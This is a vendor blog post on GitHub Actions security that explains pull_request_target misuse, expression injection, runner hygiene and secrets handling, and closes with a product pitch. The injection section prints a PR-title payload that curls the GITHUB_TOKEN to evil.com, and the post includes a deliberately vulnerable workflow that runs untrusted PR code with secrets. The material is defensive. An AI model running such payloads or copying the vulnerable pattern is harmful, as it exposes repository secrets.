A Deep Dive into GitHub Actions Security
)
A Practical Guide to not getting Pwned
March 24, 2026
GitHub Actions are the CI/CD backbone for millions of repositories. It's also a surprisingly deep attack surface. Workflows execute arbitrary code, handle secrets, interact with cloud infrastructure, and — if misconfigured — hand the keys to your kingdom to anyone who opens a pull request.
This post walks through the real threats and the concrete steps to defend against them. No bullet-point listicles. Just the mechanics of how things go wrong and how to stop them.
The Threat Model: What Are We Defending Against?
Before diving into fixes, it's worth understanding what an attacker actually wants when targeting your CI/CD:
- Secrets exfiltration: Your workflows have access to deployment keys, cloud credentials, NPM tokens, and API keys. A compromised workflow can ship those anywhere.
- Supply chain poisoning: If an attacker can modify your build output — your container images, your compiled binaries, your published packages — they own every system that consumes them.
- Lateral movement: A workflow running on a self-hosted runner might share a network with your production infrastructure. Compromise the runner, pivot to prod.
- Cryptojacking: Your free (or paid) compute minutes are money. Attackers have turned open-source CI runners into mining rigs by submitting malicious PRs.
Every practice in this post maps back to reducing one or more of these risks.
Third-Party Actions Are Someone Else's Code Running in Your Pipeline
When you write
uses: some-org/some-action@v3 in a workflow, you're pulling and executing code you didn't write, inside a context that has access to your repository's secrets. That's a big deal.The Problem
Tags are mutable.
v3 can point to a different commit today than it did yesterday. If a maintainer's account gets compromised (it's happened before - the tj-actions/changed-files incident in March 2025 is a textbook example), the attacker updates the tag and every workflow referencing it starts executing malicious code on the next run.The Fix: Pin to Full SHA
# Bad: mutable tag- uses: actions/checkout@v4 # Good: pinned to a specific, immutable commit- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2A SHA is immutable. Even if the maintainer's account is compromised, the attacker can't change what a specific SHA points to. The comment at the end keeps it human-readable.
Tools like Dependabot and Renovate can automate SHA-pinned updates so you don't trade security for staleness.
Going Further: Vendor Your Actions Internally
Pinning solves the mutability problem, but not the trust problem. You're still depending on external code that you may not have audited. For actions that touch sensitive workflows, you want your own internal copies.
On regular GitHub Organizations, the simplest path is to fork the action repository into your org, review the code, and disable automatic upstream sync (or gate it behind a review process). Then reference your fork in all workflows.
But if you're on GitHub Enterprise with Enterprise Managed Users (EMU), forking is disabled entirely. EMU environments lock down forking as a data boundary control — you can't fork external repositories into your managed org. In this case, you need to build fork-like automation:
1. Mirror the repository into your org using
git clone --mirror and push to a new internal repo.2. Track the upstream by keeping the original remote configured. Set up automation (a scheduled workflow, a script) that fetches upstream changes on a regular cadence.
3. Gate upstream updates behind review. The automation should open a PR with incoming changes rather than merging directly. Your team reviews the diff before accepting any update — this is where you catch supply chain attacks.
4. Reference only the internal copy in all workflows.
# Example: scheduled workflow to track upstream changesname: Sync upstream actionon: schedule: - cron: '0 8 * * 1' # Weekly on Monday workflow_dispatch:jobs: sync: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: fetch-depth: 0 - name: Fetch upstream and open PR env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | git remote add upstream https://github.com/original-org/action.git || true git fetch upstream main git checkout -b upstream-sync-$(date +%Y%m%d) git merge upstream/main --no-edit || { echo "Merge conflicts detected — manual review required" exit 1 } git push origin HEAD gh pr create \ --title "chore: sync upstream action $(date +%Y-%m-%d)" \ --body "Automated upstream sync. **Review the diff carefully before merging.**"Whether you fork or mirror, this is overhead that compounds with every action you consume.
The pull_request_target Trap
This is probably the single most dangerous footgun in GitHub Actions, and it's one that catches experienced engineers.
Background
When a contributor forks your repo and opens a PR, any workflow triggered by
pull_request runs in the context of the fork — with read-only access and no access to your secrets. This is safe by design.But
pull_request_target is different. It runs in the context of the base repository, with full access to secrets and write permissions. GitHub created this event so maintainers could do things like label incoming PRs or post comments using a bot token.The Attack
The danger arises when a
pull_request_target workflow checks out the PR's code and then executes it:# DANGEROUS: This gives the PR author's code access to your secretson: pull_request_targetjobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: ref: ${{ github.event.pull_request.head.sha }} # Checks out the FORK's code - run: npm install # Executes attacker-controlled package.json scripts - run: npm test # Executes attacker-controlled test filesAn attacker submits a PR that modifies
package.json to add a preinstall script that curls your secrets to an external server. The workflow runs with your secrets in the environment. Game over.The Fix
Option A: Don't use
pull_request_target unless you actually need it. For building and testing PR code, pull_request is almost always sufficient.Option B: If you must use it, never check out or execute the PR's code. Only use it for metadata operations:
on: pull_request_target jobs: label: runs-on: ubuntu-latest steps: # No checkout of PR code — only interacts with the API - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1 with: script: | await github.rest.issues.addLabels({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, labels: ['needs-review'] });Option C: Gate execution behind a label. Require a maintainer to manually apply a label (e.g.,
safe-to-test) after reviewing the PR's code, and check for that label in the workflow:on: pull_request_target: types: [labeled]jobs: build: if: github.event.label.name == 'safe-to-test' runs-on: ubuntu-latest steps: # Now it's gated behind human reviewThis isn't perfect (a maintainer might label without carefully reviewing), but it's a significant speed bump.
Expression Injection: When Your Workflow is the Vulnerability
GitHub Actions expressions — the
${{ }} syntax — are interpolated before the workflow YAML is parsed. This means that user-controlled input can modify the structure of your workflow if you're not careful.The Attack
- name: Greet the PR author run: | echo "Thanks for the PR, ${{ github.event.pull_request.title }}"```If someone opens a PR titled:
"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "The
run step becomes:echo "Thanks for the PR, "; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""Your token is now on an attacker's server. The same applies to
github.event.issue.title, github.event.comment.body, github.event.pull_request.body, commit messages — anything a user controls.The Fix: Use Environment Variables
- name: Greet the PR author env: PR_TITLE: ${{ github.event.pull_request.title }} run: | echo "Thanks for the PR, ${PR_TITLE}"By assigning the expression to an environment variable, the value is passed as data, not interpolated into the script. The shell treats it as a string, not as code to execute. This is the same principle as parameterized SQL queries — separate code from data.
What to Audit For
Any
${{ }} expression inside a run: block that references user-controlled input is a potential injection. The dangerous contexts include:github.event.issue.title/.bodygithub.event.pull_request.title/.body/.head.refgithub.event.comment.bodygithub.event.review.bodygithub.event.discussion.title/.bodygithub.head_ref- Commit messages from
github.event.commits
Self-Hosted Runners: Your Infrastructure, Your Problem
GitHub-hosted runners are ephemeral VMs that are destroyed after each job. Self-hosted runners are your machines — and they persist between jobs by default.
Why This Matters
When a workflow runs on a self-hosted runner, it can leave behind:
- Credentials on disk:
~/.docker/config.json,~/.aws/credentials,~/.npmrc - Build artifacts: Source code, compiled binaries, cached dependencies
- Modified system state: Installed packages, modified PATH, background processes
The next workflow that runs on that same runner inherits all of it. If that next workflow is triggered by an untrusted PR, the attacker's code can read credentials left by a previous deployment workflow.
The Fixes
Ephemeral runners are non-negotiable. Configure your runners to execute one job and then terminate. If you're using the official runner application, the
--ephemeral flag does this:./config.sh --url https://github.com/<your-org> --token TOKEN --ephemeralFor Kubernetes-based infrastructure, Actions Runner Controller (ARC) gives you ephemeral runners by default — each job gets a fresh pod that's destroyed after execution. ARC is the right answer for organizations that need to scale self-hosted runners, but it's not a trivial deployment. You need solid Kubernetes skills to set it up and maintain it:
- custom resource definitions
- Helm charts
- autoscaling configuration
- cluster maintenance
If your team isn't already running Kubernetes in production, ARC might be more operational overhead than the problem it solves. In that case, VM-based ephemeral runners (using the
--ephemeral flag with orchestration from your cloud provider's autoscaling) are a simpler starting point.Scope runners narrowly. A runner registered at the organization level can be used by any repository in that org. Instead:
- Register runners at the repository level when possible.
- Use runner groups to restrict which repositories can target which runners.
- Never assign a self-hosted runner to a public repository. Anyone can fork a public repo and submit a PR that triggers a workflow on your runner.
Network isolation. Your CI runner doesn't need access to your production database. Place runners in dedicated network segments with firewall rules that allow only what's required: pulling dependencies, pushing artifacts, and talking to the GitHub API.
But network-level controls are static — they can't adapt to what a workflow should be doing versus what a compromised step is actually doing. And if you're on GitHub-hosted runners, you don't control the network at all.
Secrets Management: The Basics That People Skip
Use Environments for Sensitive Secrets
GitHub Environments let you add protection rules: required reviewers, wait timers, and branch restrictions. A secret scoped to a
production environment that requires manual approval and is restricted to the main branch can't be exfiltrated by a rogue workflow on a feature branch.jobs: deploy: runs-on: ubuntu-latest environment: production # Requires approval, restricted to main steps: - run: deploy.sh env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}Prefer OIDC Over Long-Lived Credentials
Instead of storing cloud credentials as GitHub secrets, use [OpenID Connect (OIDC)](https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect) to get short-lived tokens:
permissions: id-token: write contents: readsteps: - uses: aws-actions/configure-aws-credentials@ececac1a45ab715b94b1abbd12e9f4180e0a85bb # v4.1.0 with: role-to-assume: arn:aws:iam::123456789012:role/deploy-role aws-region: us-east-1No static credentials stored anywhere. The token is minted for each workflow run, scoped to the specific repository and branch, and expires in minutes. Even if an attacker intercepts a token, it's useless shortly after.
Apply Least-Privilege to GITHUB_TOKEN
Every workflow run gets a
GITHUB_TOKEN with permissions to the repository. By default, its permissions are broader than most workflows need. Lock it down at the workflow level:permissions: contents: read # Only what this workflow needs pull-requests: write # If it needs to comment on PRsSetting top-level
permissions disables all permissions not explicitly listed. This means a compromised step can't use the token to push code, create releases, or modify other repository settings.Workflow Structure: Defense in Depth
Separate Untrusted and Privileged Operations
If your workflow needs to both build PR code and perform a privileged operation (like posting a coverage comment), split them into separate jobs with explicit boundaries:
jobs: build: runs-on: ubuntu-latest permissions: contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - run: npm ci && npm test - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: coverage-report path: coverage/ comment: needs: build runs-on: ubuntu-latest permissions: pull-requests: write steps: - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 with: name: coverage-report # Process the artifact — never re-runs untrusted codeThe
build job has no write permissions. The comment job has write permissions but never touches untrusted code. The artifact boundary forces serialization through a file — it can't carry executable context like environment variables or token references.Limit Workflow Triggers
Be explicit about what triggers your workflows. A workflow with
on: push and no branch filter runs on every push to every branch:# Overly broadon: push# Scopedon: push: branches: [main] pull_request: branches: [main]Governance at Scale: The Org-Level View
Individual best practices are necessary but insufficient. In an organization with hundreds of repositories and thousands of workflows, security is a configuration management problem.
What Needs to Be True Across Every Workflow
- No direct interpolation of untrusted context in
run:blocks - All third-party actions pinned to SHAs
GITHUB_TOKENpermissions explicitly declared (not relying on defaults)- Secrets scoped to environments with appropriate protection rules
- Self-hosted runners are ephemeral and scoped to specific repos
- No use of
pull_request_targetwith PR code checkout
Checking this manually doesn't scale. You need automated policy enforcement that evaluates every workflow against your security rules and flags — or blocks — violations before they reach production.
Wrapping Up
GitHub Actions security isn't a single setting you toggle on. It's a collection of practices that span how you source actions, how you structure workflows, how you manage secrets, and how you govern all of it at scale.
The good news: most of these vulnerabilities have straightforward fixes. Pin your actions. Don't interpolate untrusted input. Make your runners ephemeral. Use OIDC. Scope your permissions. The bad news: you need to apply these fixes consistently, across every workflow, in every repository, and keep them applied as things change.
That consistency problem — making sure the right thing is also the easy thing, and that violations are caught before they cause damage — is ultimately a platform problem. It's why we built CodeCargo.
How CodeCargo Helps
Every best practice in this post is something you can do manually. The question is whether you can do it consistently, across every workflow, in every repository, as your organization grows. Here's how CodeCargo maps to the problems above:
Building Blocks — Instead of every team independently forking, mirroring, and vetting third-party actions ([Section 1](#1-third-party-actions-are-someone-elses-code-running-in-your-pipeline)), Building Blocks gives you a private marketplace for Reusable Workflows and Actions sourced from within your own GitHub Organizations. Your platform team publishes vetted, approved actions. Everyone else discovers and consumes them with confidence. One place to manage the supply chain, not hundreds.
Compliance Center & Guardrails — The rules from [Sections 2](#2-the-pull_request_target-trap), [3](#3-expression-injection-when-your-workflow-is-the-vulnerability), [5](#5-secrets-management-the-basics-that-people-skip), and [6](#6-workflow-structure-defense-in-depth) are all mechanically enforceable: detecting
pull_request_target workflows that check out PR code, flagging direct interpolation of untrusted context in run: blocks, catching overly broad GITHUB_TOKEN permissions, identifying workflows that use long-lived credentials instead of OIDC, and surfacing unscoped triggers. Compliance Center lets you define these as configurable rules. Guardrails evaluates every workflow against them continuously and surfaces violations with actionable guidance — so your security team doesn't have to grep through hundreds of repos to find the problems.CargoWall — Network isolation and runner hardening ([Section 4](#4-self-hosted-runners-your-infrastructure-your-problem)) only go so far, and they're challenging on GitHub-hosted runners where you don't control the infrastructure. CargoWall brings a centrally managed eBPF firewall directly into the workflow execution itself — on any Linux runner configuration. You get fine-grained runtime policies (which syscalls, network connections, and file paths each step can use), granular visibility into what your workflows are actually doing, and central control over what they're allowed to do.
Service Catalog & Actions Insight — Before you can secure your workflows, you need to know what you have. CodeCargo's Service Catalog uses ML and LLM to dynamically identify services, components, and workflows across your GitHub Organizations — giving you the complete inventory that governance depends on ([Section 7](#7-governance-at-scale-the-org-level-view)). Actions Insight goes deeper into the CI/CD layer specifically: it maps the full topology of all workflows and action calls across your organization — what calls what, at which version. That visibility is the foundation for answering questions like "which workflows are still referencing an unpinned tag?" or "how many repos depend on that action that just had a CVE?"
AI Editor & Agentic Workflows — Knowing what's wrong is half the problem. Acting on it across dozens or hundreds of repositories is the other half. CodeCargo's AI Editor can take the insights from Actions Insight, Guardrails, and the Service Catalog and act on them at scale: discover the full blast radius of a CVE, a version bump, or an input change across every impacted service and workflow, then open PRs or kick off GitHub agentic workflows across all affected repositories in a single operation. Instead of filing tickets and hoping each team gets to it, you trigger remediation — pin every instance of a compromised action to a safe SHA, migrate long-lived credentials to OIDC, or add missing
permissions blocks — and each team reviews the PR on their own repo.C
CodeCargo Team
The CodeCargo team writes about GitHub workflow automation, developer productivity, and DevOps best practices.
)